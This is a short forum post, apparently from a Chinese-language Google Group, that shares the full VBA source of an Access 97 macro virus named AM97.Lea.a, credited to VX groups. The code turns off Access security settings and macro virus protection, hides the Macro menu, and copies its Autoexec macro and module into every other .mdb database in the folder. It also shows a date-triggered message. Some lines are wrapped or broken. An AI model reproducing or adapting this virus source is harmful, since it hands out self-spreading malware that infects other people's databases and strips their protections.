VBA.AM97.Lea.a源代码

3 views
Skip to first unread message

苏格拉底

unread,
Mar 27, 2007, 10:48:58 PM3/27/07
to 黑色素
Option Compare Database
Option Explicit
Function Lea()
'AM97.Lea.a
'by -KD- / [Metaphase VX Team] & [NoMercyVirusTeam]
On Error Resume Next
CommandBars("tools").Controls("Macro").Delete
CurrentDb.Properties("AllowBypassKey") = False
CurrentDb.Properties("AllowSpecialKeys") = False
CurrentDb.Properties("AllowBreakIntoCode") = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
Application.MacrovirusProtection = False
Dim FilesToGet, FilesToInfect, CodeBase As String
FilesToInfect = False
FilesToGet = Dir("*.mdb", vbNormal)
If FilesToGet <> "" Then
CodeBase = CurrentDb.Name
If CodeBase = FilesToGet Then FilesToInfect = True
If FilesToInfect = False Then Application.DoCmd.TransferDatabase
acExport, "Microsoft Access", FilesToGet, acMacro, "Autoexec",
"Autoexec"
If FilesToInfect = False Then Application.DoCmd.TransferDatabase
acExport, "Microsoft Access", FilesToGet, acModule, "lea", "lea"
While FilesToGet <> "
FilesToGet = Dir
If CodeBase = FilesToGet Then FilesToInfect = True
If FilesToInfect = False Then Application.DoCmd.TransferDatabase
acExport, "Microsoft Access", FilesToGet, acMacro, "Autoexec",
"Autoexec"
If FilesToInfect = False Then Application.DoCmd.TransferDatabase
acExport, "Microsoft Access", FilesToGet, acModule, "lea", "lea"
Wend
On Error GoTo Exit_Payload
If Day(Now()) = Int(Rnd() * 3) + 1 Then
MsgBox "AM97.Lea.a", "Welcome to this place, I'll Show you everything.
With arms wide open."
End If
Exit_Payload:
End If
End Function

Reply all
Reply to author
Forward
0 new messages